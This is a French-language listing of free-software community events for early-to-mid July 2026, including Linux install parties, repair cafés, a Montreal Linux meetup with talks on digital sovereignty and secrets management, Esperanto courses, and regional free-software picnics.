      Pour passer votre ordinateur sous Linux, nous vous invitons à nous prévenir avant votre passage: contact@alolise.org.

      [FR Sainte-Hélène] Cours gratuits d’Espéranto + Visio – Le lundi 6 juillet 2026 de 19h30 à 21h30.

      Saluton,

      Je vous propose des cours d’espéranto gratuits qui débuteront le lundi 8 juin à Sainte-Hélène dans le Médoc et qui sera également disponible en visioconférence.
      Le cours est destiné aux apprenants francophones de France et d’ailleurs.

      L’espéranto est plus qu’une langue neutre et très facile, mais aussi une langue fraternelle et libre qui permet de voyager dans de nombreux pays avec des facilités d’hébergement ou de fraterniser avec des personnes du monde entier.
      Vous trouverez plus d’informations sur la page Wikipédia, le site Espéranto-Gironde ou en visualisant le documentaire "ESPÉRANTO: de la genèse à la conquête de l’Europe"

      Les cours ont lieu le lundi soir de 19h30 à 21h30 sur environ 10 soirs pour réaliser les 10 leçons. Ces leçons complèteront les cours papier ou d’application telle que Duolingo.
      Début: lundi 8 juin 2026.
      Les cours sont GRATUITS pour tous.

      Le cours est en présentiel à Sainte-Hélène (33480) au foyer des sociétés en collaboration avec l’association l’Écurieux, ainsi qu’en distanciel / visioconférence.
      Ce cours est gratuit pour tous, en présentiel ou en distanciel.

      Nous pourrons organiser à la suite du cours, des rencontres avec les espérantistes de Bordeaux, du pays basque… afin de pratiquer en situation réelle.

      N’hésitez pas à nous contacter par téléphone au 0688350981 (appel, SMS, Signal) pour plus d’informations ou pour vous inscrire.

      Vivu Esperanto kaj Ĝis la revido.

      [FR Saint-Herblain] Repair Café numérique + Install Party – Le mardi 7 juillet 2026 de 14h00 à 17h00.

      Un ordinateur qui rame, qui refuse de démarrer ou qui est cassé, venez le réparer en notre compagnie.

      Marre de Windows et envie d’un peu de liberté, venez le libérer!

      [FR Dijon] Atelier du mardi – Le mardi 7 juillet 2026 de 15h00 à 19h00.

      Présentation de différents outils concernant les logiciels libres.

      Assistance technique.

      De préférence sur RDV directement sur le site de l’asso

      [CA-QC Montréal] Rencontres Linux au Québec – Le mardi 7 juillet 2026 de 17h00 à 21h30.

      Local de la rencontre: École de Technologie Supérieure local B-0904
      Rencontre virtuelle: Suivez le lien sur la page de l’événement

      17:00 à 19:00 – 5 à 7 virtuel et en présentiel

      Rejoignez-nous pour un moment de détente et de convivialité lors de notre 5 à 7. Que vous préfériez nous retrouver au Resto-Pub 100 Génies de l’ÉTS ou en ligne sur BigBlueButton (BBB), l’essentiel est de partager un moment agréable. Si vous avez l’intention de venir en personne, veuillez nous en informer afin de pouvoir réserver suffisamment de place pour vous.

      18:30 à 19:00 – Installation et tests de l’environnement hybride (tests de son et vidéo)

      Nous assurerons que l’environnement hybride soit parfaitement opérationnel en effectuant des tests de son et de vidéo.

      19:00 à 21:30 – Programmation de la rencontre

      1. Accueil et mot de bienvenue Martial Bigras
      2. Capsule éducative: L’objection-sociocratique comme core de gouvernance léger pour les petites communautés open source. Par Jérémy Viau-Trudel

      Jérémy viendra vulgariser et partager le résultat de 27 ans en recherche-action sur les communautés de pratiques ouvertes, de développement libre et open source.

      Pas de blabla inutile: un format court, dense et accessible pour comprendre les clés d’une gouvernance collaborative efficace.

      Une courte présentation inspirante à ne pas manquer pour tous les passionnés de l’écosystème libre. 🐧

      A propos de Jérémy Viau-Trudel

      Ayant une trajectoire atypique, Jérémy Viau-Trudelvient de la chimie quantique. Pendant ses études supérieures à l’Université Laval, puis à l’Université Paris-Sud, il a mené des recherches de haut niveau sur la simulation de la dynamique électronique de molécules soumises à des champs laser intenses. C’est là, d’abord par nécessité, qu’il a commencé à utiliser Linux. Depuis une dizaine d’années, il est consultant TI spécialisé en Linux et intervient régulièrement sur des mandats DevSecOps. Son approche pragmatique l’a amené à travailler aussi bien sur des infrastructures on-premise qu’en infonuagique et en edge computing.

      1. Présentations

      Présentation 1: La portée de la souveraineté: How far can we go ? par Alex Blackie

      [Présentation en anglais]

      La souveraineté numérique ne se résume pas à héberger ses serveurs localement. Derrière chaque application se cache une chaîne complète de dépendances: code source, plateformes de développement, infrastructures infonuagiques, matériel, réseaux et fournisseurs de services.

      Lors de cette présentation, Alex Blackie proposera une réflexion sur les limites et les possibilités d’une véritable souveraineté technologique. Est-il réaliste de construire une chaîne d’approvisionnement entièrement nationale, du développement logiciel jusqu’à l’infrastructure physique ? Quels compromis faut-il accepter, et quels bénéfices peut-on en retirer ?

      Cette présentation s’adresse aux développeurs, administrateurs systèmes, professionnels des infrastructures ainsi qu’à toute personne intéressée par les enjeux de souveraineté numérique, de logiciel libre et d’infonuagique.

      À propos du présentateur
      Alex Blackieest développeur logiciel, administrateur systèmes et réseaux, ainsi qu’entrepreneur. Fort de plus de quinze années d’expérience dans l’industrie des technologies de l’information, il s’intéresse depuis longtemps aux enjeux de souveraineté numérique et aux infrastructures ouvertes.

      Il est le fondateur de BlackieOps, l’entreprise derrière Worktree, une plateforme canadienne de développement collaboratif et une alternative à GitHub, accompagnée d’une offre infonuagique axée sur les besoins des organisations canadiennes. À travers ses projets, Alex œuvre à bâtir des solutions technologiques ouvertes qui redonnent aux organisations un meilleur contrôle sur leurs données et leurs infrastructures.

      Présentation 2 – ACRA: une suite logicielle libre d’observabilité pour la sécurité de nos infrastructures sur site et infonuagiques par Kitio Fofack

      Les infrastructures informatiques modernes sont de plus en plus complexes, réparties entre serveurs sur site, environnements virtualisés, conteneurs et services infonuagiques. Dans ce contexte, disposer d’une visibilité complète sur l’état de ses systèmes est devenu essentiel pour assurer leur performance, leur fiabilité et leur sécurité.

      Lors de cette présentation, Kitio Fofack nous fera découvrir ACRA, une suite logicielle libre d’observabilité conçue pour surveiller et protéger les infrastructures informatiques. Nous explorerons comment la collecte et l’analyse des métriques, journaux et événements permettent de détecter rapidement les anomalies, d’améliorer la résilience des systèmes et de renforcer la posture de sécurité des organisations.

      Cette présentation s’adresse aux administrateurs systèmes, professionnels DevOps, spécialistes de la cybersécurité ainsi qu’à toute personne intéressée par les solutions libres de surveillance et d’observabilité. Des exemples concrets permettront d’illustrer comment ACRA peut être déployé aussi bien dans des environnements sur site que dans des infrastructures infonuagiques.

      À propos du présentateur:

      Fondateur/Représentant de l’IREX et Conférencier international

      Pionnier et évangéliste des communs numériques, j’œuvre pour la réappropriation des technologies à des fins sociétales. À travers l’Institut du Retour d’Expérience (IREX), je développe des infrastructures libres conçues comme les fondations d’un modèle économique plus équitable. De la souveraineté alimentaire en agriculture biologique à la pérennité de notre système de santé, en passant par la création d’emplois locaux non délocalisables, je démontre que le logiciel libre est une réponse directe aux crises contemporaines. Reconnu pour cet engagement, j’ai été invité à présenter cette interconnexion entre technologies ouvertes et objectifs de développement durable lors des prestigieux UN Open Source Days 2025.

      Présentation 3 – Sécurisation des variables d’environnement et souveraineté: l’approche KeyHarbour par Denis Fabien et Étienne Morency

      La sécurité d’une application ne dépend pas uniquement de la qualité de son code. Les variables d’environnement, clés d’API, mots de passe et autres secrets utilisés en production représentent souvent une surface d’attaque sous-estimée. Comment protéger efficacement ces informations sensibles tout en facilitant le travail des équipes de développement et d’exploitation ?

      Lors de cette présentation, Denis Fabien et Étienne Morency nous feront découvrir KeyHarbour, une solution souveraine basée sur des standards ouverts permettant d’éliminer le stockage statique des secrets dans les fichiers de configuration. Nous verrons comment l’injection dynamique de secrets peut améliorer la sécurité, réduire les risques d’exposition et renforcer la traçabilité des accès aux informations sensibles.

      Cette présentation s’adresse particulièrement aux administrateurs systèmes, spécialistes DevOps, responsables de la sécurité et équipes d’infrastructure qui souhaitent offrir aux développeurs un environnement à la fois plus sécuritaire, plus simple à gérer et mieux adapté aux exigences des infrastructures modernes.

      À propos des présentateurs: Denis Fabien est consultant et coach DevOps auprès de grandes entreprises. Depuis le début de sa carrière, il a évolué entre le développement logiciel et l’administration de systèmes (notamment Linux).Cette double expertise l’a naturellement conduit vers le DevOps, et plus particulièrement vers l’automatisation des déploiements et la gestion des infrastructures. Il est également responsable des partenariats chez KeyHarbour.

      Étienne Morency est architecte de solutions et passionné par les technologies ouvertes et l’optimisation des environnements TI. Il accompagne les organisations dans la conception et la mise en place de solutions robustes, pragmatiques et durables. Son expérience couvre l’architecture, l’automatisation, l’intégration et l’accompagnement des équipes techniques. Il agit également comme directeur technique de KeyHarbour, où il contribue à orienter les choix technologiques et l’évolution des solutions.

      1. Réseautage avec les autres Linuxien(ne)s

      Une période d’échange de trucs et astuces sous Linux, où chacun est encouragé à partager ses connaissances.

      Extras

      Que vous soyez débutant ou expert, étudiant ou professionnel, cette réunion est ouverte à tous. Elle réunit une diversité de personnes, allant des gestionnaires aux programmeurs, des professeurs aux retraités, unissant ainsi des esprits passionnés par les logiciels libres, quel que soit votre domaine d’expertise.

      Rejoignez-nous pour cette opportunité exceptionnelle de socialiser, d’apprendre, et de tisser des liens avec d’autres passionnés. Ensemble, nous pouvons approfondir notre compréhension des logiciels libres et contribuer à une communauté dynamique.

      La participation est gratuite, et nous avons hâte de vous rencontrer, que ce soit en personne ou en ligne. Inscrivez-vous dès maintenant pour recevoir le lien de la réunion virtuelle, et pensez à nous informer si vous prévoyez de vous joindre à nous au Resto-Pub 100 Génies de l’ÉTS.

      Au plaisir de partager cette soirée exceptionnelle avec vous!

      Cordialement,

      Comité organisateur des Rencontres Linux au Québec P.S.: Pour le transport en commun : Station de métro Bonaventure

      [FR Lyon] Polar en Vacances, 11ᵉ édition – Du mercredi 8 juillet 2026 à 13h00 au jeudi 9 juillet 2026 à 09h00.

      C’EST QUOI ?

      Commencez votre été avec le festival Polar en Vacances !

      Traditionnel rendez-vous jeunesse donné par Quais du Polar au mois de juillet, Polar en Vacances revient pour sa 11ᵉ édition les mercredi 8 et jeudi 9 juillet 2026 afin de promouvoir la lecture et l’écriture auprès des plus jeunes !

      Au programme : des ateliers d’écriture, d’illustration et de découpage, un espace dédié à la lecture, un espace jeux de société, un escape game et un espace librairie jeunesse qui accueillera les dédicaces de nos autrices et illustratrices invitées. Cette année, la thématique sera centrée autour des « Petits et grands héros »

      Les ateliers sont GRATUITS et sur inscription obligatoire pour les groupes et recommandée pour les familles.

      [FR Fourmies] La permanence du libre – Le mercredi 8 juillet 2026 de 13h30 à 17h00.

      Dans le cadre de la stratégie Rev3 de la ville de Fourmies est né le Central, Carrefour de la Résilience.

      À ce titre, l’Association Club Linux Nord Pas-de-Calais Fourmies vous accompagne et vous guide dans la configuration, la personnalisation et la prise en main de vos logiciels (Libres).

      C’est un espace de rencontres et d’échanges, uniquement basés sur les logiciels libres et le concept de l’open source.

      De 13h30 à 17h00 tous les mercredi, venez prendre en main vos logiciels libres et vos installations Linux Mint ou Mageia.

      La permanence du libre est un complément des install parties du samedi.

      Cette manifestation a lieu au Tiers-Lieu Le Central à Fourmies.

      [FR Nantes] Repair Café numérique + Install Party – Le mercredi 8 juillet 2026 de 14h00 à 18h00.

      Un ordinateur qui rame, qui refuse de démarrer ou qui est cassé, venez le réparer en notre compagnie.

      Marre de Windows et envie d’un peu de liberté, venez le libérer!

      [FR Gond-Pontouvre] Permanence du mercredi – Le mercredi 8 juillet 2026 de 14h00 à 18h00.

      Nous sommes convaincus depuis le début qu’un ordinateur n’est pas un consommable jetable et qu’on a tous le droit de comprendre et de maîtriser nos outils numériques. C’est de là qu’est née l’asso, à Gond-Pontouvre: un repaire de passionnés du libre et du bidouillage, où l’on défend les logiciels libres, la souveraineté technologique et le bon vieux plaisir de mettre les mains dans le cambouis. Au fil du temps, on a élargi le terrain de jeu, mais l’esprit reste le même: on apprend, on partage, on transmet.

      Le cœur historique, c’est le reconditionnement. On collecte des machines en fin de vie, on les teste sous toutes les coutures, et on leur offre une seconde jeunesse: passage en SSD pour réveiller les plus poussives, installation de Linux Mint pour un système libre, léger et accessible, et hop – un PC qu’on croyait bon pour la benne repart pour plusieurs années.

      Vous avez un vieux portable qui rame ou une tour oubliée au grenier? Apportez-la, on regarde ensemble.

      Côté fabrication numérique, le FabLab ouvre ses portes: venez concevoir et fabriquer vos projets sur nos machines – impression 3D (Creality K1 Max & K2 Plus), découpe et gravure laser (Falcon 2 Pro 60W), et de quoi toucher à
      l’électronique embarquée. Les bénévoles sont là pour vous guider – l’idée n’est pas de faire à votre place, mais de vous apprendre à faire.

      Entrée libre, esprit d’entraide et de partage des savoirs. Apportez vos questions, vos machines ou simplement votre curiosité.

      [FR Muzillac] Formation : Maîtriser un gestionnaire de mots de passe – Le mercredi 8 juillet 2026 de 16h00 à 18h00.

      Aujourd’hui, le risque de voir pirater ses différents comptes en ligne est très élevé. Afin de s’en protéger, nous devons avoir des mots de passe complexes, différents pour chaque service et pouvoir les modifier régulièrement. Cela devient un véritable casse-tête.

      L’association Ourse a pour objet d’animer et administrer notre monnaie locale. Ce faisant, nous avons d’autant plus besoin de nous mettre à l’abri des risques de vols de données. C’est pourquoi nous avons dû notamment apprendre la maîtrise du gestionnaire de mots de passe libre KeepassXC.

      Cette formation vise à diffuser auprès des bénévoles l’utilisation de ce logiciel et la mise en place de pratiques sécurisées et est ouverte à tous.

      Sur inscription sur ce formulaire ; places limitées et des téléchargements sont recommandés en amont. Apporter son ordinateur portable et smartphone. L’objectif est d’en ressortir avec les compétences et tout le système nécessaire installé et fonctionnel sur vos appareils.

      D’autres séances pourront être proposées ultérieurement.

      [FR Marseille] Réunion d’information. Installation Linux – Le mercredi 8 juillet 2026 de 18h00 à 19h00.

      💻🌱 Ton ordi rame avec Windows? T’as entendu parler de Linux sans oser te lancer?

      Viens à une Install Party chez Emmaüs Connect à Marseille!
      On t’informe et on t’aide à installer Linux Mint sur ton ordi, gratuitement, dans la bonne humeur et entouré·e de bénévoles super cool 😎
      Tu repars avec un PC rafraîchi… et zéro centime dépensé 💸

      🎯 C’est pour toi si:

      • Tu veux prolonger la vie de ton ordi sans passer par Windows 11
      • Tu veux apprendre à mieux maîtriser ton outil numérique
      • Tu veux faire un geste pour la planète ♻️
      • Tu veux découvrir un super lieu de solidarité numérique à Marseille!

      📍 Où ? 11 cours Franklin Roosevelt, Marseille 1er
      📆 Quand? Réunion d’information le 08/07 à 18h, Install'Party le 18/07 à 9h30.

      Inscription uniquement par mail à marseille@emmaus-connect.org

      Rejoins-nous pour une expérience libre, écolo et solidaire!

      [FR Lyon] Réunion mensuelle – Le mercredi 8 juillet 2026 de 19h00 à 22h00.

      Réunion ouverte à tous, adhérent ou pas.

      Les réunions mensuelles Hadoly ont lieu tous les 2ᵉ mercredi du mois, à partir de 19h.

      Soit en présentiel dans les locaux de la maison de l’écologie – 4 rue Bodin 69001 Lyon

      Soit en distanciel sur l’adresse https://jitsi.hadoly.fr/permanence-hadoly.

      À propos de cet événement

      La permanence (mensuelle) d’Hadoly (Hébergeur Associatif Décentralisé et Ouvert à LYon), chaton lyonnais, est l’occasion d’échanger avec les membres de l’asso sur les services et moyens mis à disposition des adhérents afin de se libérer des Gafams tout en partageant ce que chacun·e aura amené pour grignoter ou boire.

      Nous partageons du mail, du cloud, et d’autres services, le tout basé exclusivement sur une infrastructure locale et des logiciels libres. Nous respectons la neutralité du net et la vie privée. Plus largement nous échangeons autour des communs numériques, des cultures libres et de l’éducation populaire par exemple en réalisant ou animant des ateliers d’éducation aux médias.

      Vous serez bienvenu pour présenter votre projet, celui de votre organisation, causer communs numériques, cultures libres et éduc pop.

      [FR Bordeaux] Cours gratuits d’Espéranto – Le mercredi 8 juillet 2026 de 20h00 à 22h00.

      Saluton,

      Nous proposons une nouvelle session de cours d’Espéranto qui débuteront début juin au café Le Petit Grain, Place Dormoy à Bordeaux (c’est un café associatif avec des tarifs abordables dans le quartier de la gare Saint-Jean à côté de Barbey).

      L’espéranto est plus qu’une langue neutre et facile, mais aussi une langue fraternelle et libre qui permet de voyager dans le monde entier avec des facilités d’hébergement ou de fraterniser avec des personnes dans d’autres pays.

      Cette vidéo vous permettra d’en savoir plus: https://peertube.dc.pini.fr/w/akMZAKM9zJWG5mXLBtuQN4
      Vous trouverez également plus d’informations sur: https://esperanto-gironde.fr/lesperanto/, il y a l’abonnement à la lettre d’informations mensuelle qui est proposée en fin de chaque page afin de rester informé des activités espérantistes du coin.

      Les cours ont lieu le mercredi soir de 20h00 à 22h00, 10 soirs pour réaliser les 10 leçons. Ces leçons complètent le cours de l’application Duolingo.
      Début: mercredi 3 juin 2026.

      Les cours sont GRATUITS pour les membres du café associatif.
      Cependant, vous devrez adhérer au café associatif Le Petit Grain qui nous prête chaleureusement ses locaux si vous n’êtes pas membre. L’adhésion annuelle pour toute l’année 2026 est à prix libre conseillé à 5€, minimum 2€ et permet aussi la participation aux autres ateliers et activités.

      N’hésitez pas à nous contacter par téléphone au 0688350981 (appel, SMS, Signal) ou en répondant à ce message pour plus d’informations ou pour vous inscrire.
      Vous pouvez aussi nous rencontrer chaque 3ᵉ mercredi du mois de 18h00 à 19h30 au café Le Petit Grain ainsi que lors du défilé du 1ᵉʳ mai autour de notre banderole.

      Ĝis la revido.

      [Internet] Mini-webinaire Scenari : L’après-Canoprof : des solutions pour utiliser ses contenus au-delà du 31 juillet 2026 – Le jeudi 9 juillet 2026 de 15h30 à 16h30.

      Mini-webinaire plutôt orienté enseignement primaire/secondaire.

      Suite à l’arrêt annoncé par Réseau Canopé de la plateforme CanoprofCloud pour le 31 juillet 2026, nous te présenterons un nouveau service en ligne proposé par Kelis ainsi que d’autres solutions pour aider à récupérer et continuer à utiliser les contenus Canoprof. Nous en profiterons pour refaire un point sur le contexte et le vocabulaire autour du système Scenari.

      Toutes les informations sur https://info.prof.scenari.cloud/

      [BE Lessines] Atelier les co-libristes – Le jeudi 9 juillet 2026 de 18h00 à 21h30.

      Atelier sur les logiciels libres.

      Installation et configuration.

      Hygiène numérique.

      [FR Romans-Sur-Isere] Install Party Linux – Le jeudi 9 juillet 2026 de 18h00 à 22h00.

      Nous organisons la 1e Install Party a Romans-Sur-Isere au cafe associatif le PasSage

      Venez decouvrir le logiciel libre, discuter autour d’un verre, installer votre pc avec un systeme libre.

      [BE Huy] Réunion mensuelle LiHuy – Le jeudi 9 juillet 2026 de 19h30 à 22h30.

      L’occasion idéale pour se retrouver, échanger autour du logiciel libre, vous accompagner dans le remplacement de Windows par Linux sur vos machines (sans dual-boot), ou encore découvrir ensemble de nouvelles distributions et applications.

      [FR Quimperlé] Point info GNU/Linux – Le vendredi 10 juillet 2026 de 13h30 à 17h30.

      Médiathèque de Quimperlé, place Saint Michel, pas d’inscription, entrée libre !

      Mickaël, Johann, Alain, et Yves vous accueillent (ou l’un d’eux, on se relaie !).

      Conseils, aide et infos pratiques GNU/Linux et Logiciels Libres.

      Curieux ? Déjà utilisateur ? Expert ? Pour résoudre vos problèmes, vous êtes le bienvenu ; pas besoin de prendre rendez-vous !

      N’hésitez pas à venir avec votre PC si vous voulez une installation de GNU/Linux ou de venir avec votre périphérique récalcitrant (imprimante, scanner…) si possible.

      [FR Nantes] Repair Café numérique + Install Party – Le vendredi 10 juillet 2026 de 14h00 à 17h00.

      Un ordinateur qui rame, qui refuse de démarrer ou qui est cassé, venez le réparer en notre compagnie.

      Marre de Windows et envie d’un peu de liberté, venez le libérer!

      [FR Brest] Atelier d’été – LAN Jeux Vidéo Libres – Le vendredi 10 juillet 2026 de 14h00 à 17h00.

      La plus grande LAN partie sous linux de Brest cet été 💥

      Venez avec ou sans votre ordinateur, sous Linux ou BSD 🐧

      Que vous vouliez vous exploser sur Xonotic ou Teeworlds, reconstruire les 4 moulins dans Luanti, ou être le meilleur stratège du siècle dans 0ad, vous passerez forcément un bon moment 🎊

      Entrée libre pour tout le monde.

      --

      Le local est accessible aux personnes à mobilité réduite

      Il y a des arceaux à vélo à proximité

      L’arrêt de bus le plus proche est: Cosmao Prétot, ligne 2B

      L’arrêt de tramway le plus proche est: Polygone

      [FR Le Tholonet (Palette)] Réunion mensuelle de l’Axul – Le vendredi 10 juillet 2026 de 20h00 à 23h00.

      Les membres de l'Axul (Association du Pays d’Aix des Utilisateurs de Linux et des Logiciels Libres) vous invitent à leur réunion réelle du vendredi 10 juillet de 20h00 à 23h00 au Centre Culturel Georges Duby du Tholonet, 744 avenue Paul Julien, à proximité de la place du marché de Palette (premier village sur la D7n au Sud-Est d’Aix).

      • 20h00 – 20h15: Accueil
      • 20h15 – 20h30: Présentation des participants et organisation de la soirée
      • 20h30 – 23h00:
      • Interventions urgentes si nécessaires
      • Discussions et décisions importantes
      • Interventions extérieures (Forum des Associations & du bénévolat
      • Précisions sur le don probable d’ordinateurs (suite)
      • Annuaire des membres (suite)
      • Organisation des listes de diffusion

      • Autres questions ?

      Évènements ultérieurs: voir l'Agenda du Libre

      Ces réunions libres et gratuites sont ouvertes à toutes et à tous, débutantEs ou expertEs GNU/Linux, membres ou non de l'Axul.

      Entrée Libre. Tout Public.

      [Internet] Pause Café Linux : Votre rendez-vous hebdomadaire – Le vendredi 10 juillet 2026 de 11h45 à 13h00.

      Pause Café Linux: Votre rendez-vous hebdomadaire

      Est-ce que Linux vous passionne ? Vous voulez simplement jaser de logiciels libres dans une ambiance décontractée ? Rejoignez-nous pour la Pause Café Linux, un rendez-vous unique dans la francophonie Linuxienne ! C’est le moment idéal pour briser l’isolement, partager vos découvertes et rencontrer d’autres passionnés de l’écosystème Linux au Québec.

      C’est quand ?

      Tous les vendredis midis (12h00 HAE, Québec).

      Apportez votre lunch, nous fournissons le café… virtuellement !

      Au programme

      • Discussion libre: Pas d’ordre du jour rigide, on parle de ce qui vous anime.
      • Tour de table rapide: Afin de mieux se connaître.
      • Le Brise-Glace: Une question thématique différente pour lancer la conversation.
      • Entraide et partage: Un espace bienveillant pour tous les niveaux, du débutant à l’expert.

      Comment participer ?

      • Échangez avec nous: Rejoignez notre canal de discussion sur Framateam pour vous présenter et rester informé. Rejoindre le canal Pause Café
      • Connectez-vous à la rencontre: Tous les vendredis midis, cliquez simplement sur le lien ci-dessous pour accéder à notre salon de visioconférence (BigBlueButton). Accéder au salon virtuel (BBB)

      Venez avec votre lunch, votre café, et surtout votre curiosité !

      La participation est gratuite, ouvert à tous!

      Notre réunion accueille une diversité de profils: étudiants, professionnels, gestionnaires, programmeurs, professeurs, ou retraités. Que votre passion soit l’administration système, le développement, ou la simple utilisation quotidienne, votre expérience est précieuse. Ensemble, nous pouvons approfondir notre compréhension des logiciels libres et contribuer à une communauté dynamique.

      Rejoignez-nous pour cette opportunité exceptionnelle de socialiser, d’apprendre, et de tisser des liens !

      Nous avons hâte de vous y accueillir.

      Le Comité organisateur des Rencontres Linux au Québec

      [FR Amancy] Rencontre « Logiciels Libres » – Le samedi 11 juillet 2026 de 09h00 à 12h00.

      Rencontre mensuelle autour des logiciels libres, en toute simplicité.

      Ces matinées seront ce que nous en ferons ensemble, selon vos attentes:

      • Découverte des logiciels libres dont Linux et de leur intérêt. Utilisation sur place.
      • Installations, sur votre machine (pensez à sauvegarder vos données avant de venir avec) ou sur des PC fournis pour apprendre ensemble sans risque. Parfois, on vous propose un ordinateur auquel Linux a redonné une seconde vie, avec lequel vous pouvez repartir…
      • Préparation d’une clé USB pour tester Linux chez vous, l’installer ou alors pour utiliser des logiciels libres sans installation sous Windows.
      • Entraide, suivi de votre expérience avec les logiciels libres.
      • Nous pourrons aussi nous intéresser aux outils en ligne, aux smartphones, ou nous amuser à redonner vie à de vieux PC un peu obsolètes, à reconditionner des ordinateurs pour des associations ou personnes avec peu de ressources, etc.

      Pour tout projet qui risque de prendre un peu de temps, il est préférable de nous contacter avant.

      Les débutant·e·s sont les bienvenu·e·s! Les autres aussi, bien évidemment !

      [FR Chaumont] Permanence Informatique – Le samedi 11 juillet 2026 de 09h00 à 12h00.

      REVOL, association engagée dans la promotion des logiciels libres, propose tous les samedis matin, de 9h à 12h, une permanence informatique associative ouverte à toustes, pour se pencher sur les difficultés rencontrées par chacun·e dans son usage de l’outil numérique.

      => Vous avez un problème avec votre ordinateur ?
      => Une question sur un logiciel libre ?
      => Envie de comprendre un peu mieux comment ça fonctionne ?

      On prend le temps avec vous, simplement.

      Nous pouvons vous accompagner sur:

      • le passage vers des systèmes libres (Linux Mint, MX Linux…)
      • l’installation et la prise en main de logiciels libres
      • la remise en état et la mise à jour de votre ordinateur (quand c’est possible)
      • des conseils pour mieux utiliser, sécuriser et prolonger la vie de votre matériel

      Et aussi… juste discuter (on a du café et des croissants).
      Que ce soit pour poser une question, réfléchir à vos usages ou découvrir le libre tranquillement.

      Pas besoin d’être expert·e: venez comme vous êtes.

      Nous sommes à notre local, 22 rue de Verdun à Chaumont (52000), en Haute-Marne.

      Un monde plus libre, loin des techno-fascistes, ça serait 🦉 quand même, non ?

      REVOL est là pour y contribuer !

      [FR Montpellier] Rencontre | Pique-nique du Libre – Le samedi 11 juillet 2026 de 17h00 à 19h00.

      Montpel’libre et ses partenaires vous proposent de nous retrouver comme chaque année toutes et tous, pour clore cette année très intense dans un esprit festif, à l’occasion d’un pique-nique au Parc Rimbaud dans le quartier Les Aubes de Montpellier. Où, les familles, enfants, curieux et bien sûr libristes sont les bienvenus.

      Ce pique-nique traditionnel de fin d’année des libristes de toute la région est organisé pour boucler l’année dans la bonne humeur, évoquer les moments importants qui se sont déroulés dans l’année et ceux qui nous attendent à la rentrée. Ce traditionnel rendez-vous est devenu, au fil du temps et selon la presse, une véritable institution.

      Nous serions heureux de compter sur votre présence à cet instant convivial et de partage de la communauté des Logiciels Libres et des Communs de la région.

      Attention, privilégiez les transports en commun, les emplacements de parking à proximité sont rares!

      L’inscription n’est pas obligatoire, mais fortement recommandée pour des raisons évidentes de contraintes logistique.

      Cette année encore, afin de nous mettre en conformité avec l’arrêté préfectoral, les barbecues et tout feu seront interdits, le repas sera donc froid.

      Pas de réseau wifi, ni électrique, pensez à prendre des lampes.

      Le site dispose à l’entrée d’une petite aire de jeux pour les enfants, d’un parc clôturé pour les chiens, de balades, randonnées, tables, potager, boulodrome, vue sur le rivière.

      Chacun apporte quelque chose, et on partage. Pensez à prendre de l’eau, des brumisateurs, des chapeaux pour supporter les fortes chaleurs. Prévoyez aussi des boules de pétanque.

      [FR Montpellier] Rencontre | Wiknic – Le samedi 11 juillet 2026 de 19h00 à 21h00.

      Rencontre | Wiknic

      Ce pique-nique traditionnel de fin d’année des libristes de toute la région est organisé pour boucler l’année dans la bonne humeur, évoquer les moments importants qui se sont déroulés dans l’année et ceux qui nous attendent à la rentrée. Ce traditionnel rendez-vous est devenu, au fil du temps et selon la presse, une véritable institution.

      Samedi 11 juillet 2026 de 19h00 à 21h00
      Parc Rimbaud, 880 avenue de Saint-Maur, 34000 Montpellier

      Inscriptions | GPS 43.61797/3.89607

      [FR Redon] Install Party – Le dimanche 12 juillet 2026 de 14h00 à 18h00.

      Fin du support Windows? Ne jetez pas votre PC: venez découvrir et installer Linux sur votre ordinateur.

      Plusieurs bénévoles à l’aise en informatique prendront le temps de connaitre votre situation, et de vous proposer une marche à suivre.

      Si possible, préparez vos sauvegardes des documents importants avant de venir.

      Sinon, venez avec un disque dur ou clé USB de grande capacité pour les sauvegarder avec notre aide et un peu de temps (la sauvegarde de vos données peut prendre du temps!).

      Entrée libre et gratuite,

      Organisé par le Collectif Low Tech du Pays de Redon

      [FR Redon] Install Party Linux – Le dimanche 12 juillet 2026 de 14h00 à 18h00.

      Fin du support Windows ? Ne jetez pas votre PC: venez découvrir et installer Linux sur votre ordinateur.

      Plusieurs bénévoles à l’aise en informatique prendront le temps de connaitre votre situation, et de vous proposer une marche à suivre.

      Si possible, préparez vos sauvegardes des documents importants avant de venir.
      Sinon, venez avec un disque dur ou clé USB de grande capacité pour les sauvegarder avec notre aide et un peu de temps (la sauvegarde de vos données peut prendre du temps !).

      Entrée libre et gratuite, rdv 14h

      Organisé par le Collectif Low Tech du Pays de Redon

      [FR Béziers] Rencontre | Pique-nique du Libre – Le dimanche 12 juillet 2026 de 17h00 à 19h00.

      Montpel’libre vous propose de nous retrouver toutes et tous, pour clore cette année très intense dans un esprit festif, à l’occasion d’un pique-nique au Plateau des Poètes, Allées Paul Riquet à Béziers. Où, les familles, enfants, curieux et bien sûr libristes sont les bienvenus.

      Ce pique-nique de fin d’année des libristes de toute la région est organisé pour boucler l’année dans la bonne humeur, évoquer les moments importants qui se sont déroulés dans l’année et ceux qui nous attendent à la rentrée.

      Les pique-niques de l’été
      Samedi 11 juillet 2026 à partir de 17h00, Pique-nique du Libre, au Parc Rimbaud à Montpellier.
      Samedi 11 juillet 2026 à partir de 19h00, Wiknic (Cabalhérault), au Parc Rimbaud à Montpellier.
      Dimanche 12 juillet 2026 à partir de 17h00, Pique-nique du Libre, au Plateau des Poètes à Béziers.
      Samedi 18 juillet 2026 à partir de 17h00, Pique-nique du Libre, aux Jardins de la Fontaine à Nîmes.
      Dimanche 19 juillet 2026 à partir de 17h00, Pique-nique du Libre, à Pierres Blanches à Sète.
      Dimanche 26 juillet 2026 à partir de 17h00, Pique-nique du Libre, au Parc Jean Hugo à Lunel.

      Choisissez votre pique-nique. Mais bien sûr, vous pouvez participer à plusieurs pique-niques, voire à tous !

      L’été est là, bien installé, les oiseaux chantent, le soleil est au beau fixe, et vous souhaitez déjeuner entre amis sur l’herbe fraîchement coupée.

      Dès que l’on recommence à avoir des journées ensoleillées et chaudes, nous savons tous et toutes que la saison des pique-niques est arrivée ! Nous aimons, à n’en pas douter, absolument tout du concept des pique-niques: manger à l’extérieur sous le soleil ou à l’ombre des arbres, partager un repas convivial, simple, à la bonne franquette entre amis, avec la famille, profiter de la beauté de la nature qui nous entoure, prendre son temps et apprendre à ralentir et à reconnecter au moment présent le temps d’un repas.

      Même si l’été est déjà bien entamé, nous avons encore beaucoup de belles journées chaudes à venir et la chance de faire de nombreux pique-niques avant la fin de la saison estivale.

